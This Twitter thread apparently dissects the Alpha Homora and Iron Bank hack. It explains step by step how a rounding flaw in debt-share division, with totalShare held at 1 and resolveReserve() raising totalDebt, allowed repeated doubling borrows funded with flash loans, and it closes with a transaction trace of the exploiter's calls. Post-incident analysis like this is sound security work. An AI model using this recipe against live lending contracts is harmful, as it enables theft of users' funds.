Twitter Thread by Bartek Kiepuszewski

Bartek Kiepuszewski
@bkiepuszewski

1/ If, after reading https://t.co/IzzATArtZl you are still confused how Alpha Homora and IronBank were hacked, here's how the hack was conceived

2/ Normally when you borrow funds from AH bank, your debtShare and totalDebt increases. Specifically if you want to borrow x tokens, your debt share will be calculated as:

share = x * totalShare / totalDebt

and it is added to totalShare

3/ All these numbers are very big integers (as token precisions are 18 digits) and the calculation is correct, but when totalShare = 1 (think 1 wei) and x < totalDebt, new debt share will be 0 (integer division)

4/ So if you manage to have AH bank with totalShare = 1, and some totalDebt you can repeatedly borrow less than the totalDebt (ideally totalDebt - 1) effectively doubling totalDebt in each iteration. You can do it as many times as you want, while totalShare will remain 1

5/ Eventually Iron Bank that supplies funds to AH will run out of funds, so when amounts get big enough (you are doubling each time), also make sure to replenish it with flash loan

6/ But first you need to make sure that there is a AH bank with totalShare = 1 in the first place. To do that you need to start with an empty bank, i.e. token that has been approved but not used yet. In this case - sUSD

7/ Then you need to do some initial setup which involves putting some collateral, taking small loan and repaying almost all of it - almost, leaving exactly 1 wei. Now you have a bank with totalShare and totalDebt = 1. Almost done, need to increase totalDebt

8/ To do that you call resolveReserve() method on this bank which will increase totalDebt without increasing totalShare and your setup is finished. Now you can extract funds doubling totalDebt at each step.

9/ Notice the state of the initial setup just before a sequence of borrows
https://t.co/267VbLXVUF


[7979142]: [Sender] 0x905315602ed9a854e325f692ff82f58799beab57
[8324786]: [Receiver] HomoraBankProxy.fallback() => ()
[8322016]: (delegate) [Receiver] HomoraBankProxy[HomoraBank.execute](positionId=0, spell=AHv2 Exploiter Contract, data=f37425b4000000000000000000000000000000000000000000000000000000000000000010) => (884)
[8268984]: HomoraCaster.cast(target=AHv2 Exploiter Contract, data=f37425b4000000000000000000000000000000000000000000000000000000000000000010) => ()
[8267653]: AHv2 Exploiter Contract.0xf37425b4(no_ABI) => (no_ABI)
[6553]: [Receiver] HomoraBankProxy.fallback() => ()
[3792]: (delegate) [Receiver] HomoraBankProxy[HomoraBank.getBankInfo](token=sUSD) => (isListed=True, cToken=cySUSD, reserve=19709787742196, totalDebt=19709787742197, totalShare=1)
[591642]: [Receiver] HomoraBankProxy.fallback() => ()
[588899]: (delegate) [Receiver] HomoraBankProxy[HomoraBank.borrow](token=sUSD, amount=19709787742196) => ()
[497389]: [Receiver] HomoraBankProxy.fallback() => ()
[494646]: (delegate) [Receiver] HomoraBankProxy[HomoraBank.borrow](token=sUSD, amount=39419575484392) => ()
[497389]: [Receiver] HomoraBankProxy.fallback() => ()
[494646]: (delegate) [Receiver] HomoraBankProxy[HomoraBank.borrow](token=sUSD, amount=78839150968784) => ()
[497389]: [Receiver] HomoraBankProxy.fallback() => ()
[494646]: (delegate) [Receiver] HomoraBankProxy[HomoraBank.borrow](token=sUSD, amount=157678301937568) => ()